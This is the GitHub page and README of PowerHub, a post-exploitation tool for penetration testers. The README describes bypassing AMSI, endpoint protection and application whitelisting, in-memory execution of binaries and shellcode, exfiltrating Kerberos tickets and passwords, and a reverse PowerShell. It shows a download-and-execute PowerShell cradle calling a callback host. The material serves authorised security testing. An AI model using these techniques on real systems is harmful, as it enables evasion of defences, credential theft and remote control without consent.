Skip to content
A post exploitation tool based on a web application, focusing on bypassing endpoint protection and application whitelisting
Python PowerShell HTML JavaScript CSS
Branch: master
Clone or download
Latest commit 3c73e23 Jul 26, 2019
Type Name Latest commit message Commit time
Failed to load latest commit information.
binary use zc00l's amsi bypass Mar 14, 2019
img update images Apr 24, 2019
powerhub mark reverse shell as experimental Jul 24, 2019
tests fix test Jul 26, 2019
.gitignore update gitignore Jul 26, 2019
LICENSE Create LICENSE Mar 14, 2019 fix typo Jul 26, 2019 update changelog Jul 13, 2019
ph connect to newest reverse shell by default Jul 22, 2019 move everything to module Jun 10, 2019
pytest.ini add pytest.ini; ignore deprecation warnings Jun 10, 2019
requirements.txt specifiy bson version in requirements.txt Jul 11, 2019


PowerHub is a convenient post exploitation tool which aids a pentester in transferring files, in particular code which may get flagged by endpoint protection. Check out the Wiki!

PowerHub Webapp

During an engagement where you have a test client available, one of the first things you want to do is run PowerSploit. So you need to download the files, messing with endpoint protection, disable the execution policy, etc. PowerHub provides an (almost) one-click-solution for this. Oh, and you can also run arbitrary binaries (PE and shell code) entirely in-memory using PowerSploit's modules, which is sometimes useful to bypass application whitelisting.

Your loot (Kerberos tickets, passwords, etc.) can be easily transferred back either as a file or a text snippet, via the command line or the web interface. PowerHub also helps with collaboration in case you're a small team.

On top of that, PowerHub comes with a reverse PowerShell, making it suitable for any kind of post-exploitation action.

Here is a simple example (grab information about local groups with PowerView and transfer it back):

PS C:\Users\avollmer> $K=new-object net.webclient;IEX $K.downloadstring('');
  _____   _____  _  _  _ _______  ______ _     _ _     _ ______
 |_____] |     | |  |  | |______ |_____/ |_____| |     | |_____]
 |       |_____| |__|__| |______ |    \_ |     | |_____| |_____]
                            written by Adrian Vollmer, 2018-2019
Run 'Help-PowerHub' for help
AmsiScanBuffer patch has been applied.
PS C:\Users\avollmer> lhm powerview
[*] /ps1/PowerSploit/Recon/PowerView.ps1 imported.
PS C:\Users\avollmer> Get-LocalGroup | pth -Name groups.json

PowerHub in action


PowerHub itself does not need to be installed. Just execute However, there are a few dependencies. They are listed in the requirements.txt. Install them either via pip3 install --user -r requirements.txt or use a virtual environment:

Run python3 -m venv env to create a virtual environment, then use source env/bin/activate to activate it. Now run pip3 install -r requirements.txt to install the depencendies inside the virtual environment.

Python2 is not supported.


PowerHub has one mandatory argument: the callback host (can be an IP address). You should also use --auth <user>:<pass>, otherwise, a randomly generated password will be used for basic authentication. The switch --no-auth disables basic authentication which is not recommended. The callback host name is used by the stager to download the payload. If the callback port or path differ from the default, it can also be changed.

Read ./ --help and the Wiki for details.


PowerHub is partially based on the awesome work of zeroc00l, mar10, p3nt4. And of course, it would be nothing without @harmj0y, @mattifestation and the many other contributors to PowerSploit.



Adrian Vollmer, 2018-2019


Use at your own risk. Do not use without full consent of everyone involved. For educational purposes only.

You can’t perform that action at this time.